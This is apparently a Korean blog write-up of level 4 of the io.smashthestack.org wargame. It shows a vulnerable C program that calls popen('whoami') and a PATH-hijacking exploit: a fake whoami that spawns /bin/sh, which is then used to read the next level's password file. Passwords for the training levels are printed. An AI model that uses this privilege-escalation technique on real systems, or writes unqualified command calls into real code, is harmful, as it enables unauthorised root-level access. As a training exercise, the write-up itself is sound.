본문 바로가기

Wargame/io.smashthestack.org

level04

ssh level4@io.netgarage.org

nSwmULj2LpDnRGU2



#include <stdlib.h>

#include <stdio.h>


int main() {

        char username[1024];

        FILE* f = popen("whoami","r");

        fgets(username, sizeof(username), f);

        printf("Welcome %s", username);


        return 0;

}


기본 bin 디렉토리 안의 whoami 를 내가 변조한 프로그램으로 실행시킬 수 있다면, 풀리는 문제이다.


환경변수 PATH를 조작함으로써 whoami 바이너리를 내가 만든 바이너리로 치환시킬 수 있다.

(우선순위)


cat /tmp/getflag/asdf.c

#include <stdio.h>

main() {

    system("/bin/sh");

    return 0;

}


export PATH=/tmp/getflag:$PATH




level4@io:/tmp/getflag$ /levels/level04

sh-4.2$ cat /home/level5/.pass 

Welcome LOoCy5PbKi63qXTh

level4@io:/tmp/getflag$ sh-4.2$





















'Wargame > io.smashthestack.org' 카테고리의 다른 글

level6  (0) 2015.04.12
level05  (0) 2015.04.12
level3  (0) 2015.04.12
level02  (0) 2015.04.12
level01  (0) 2015.04.12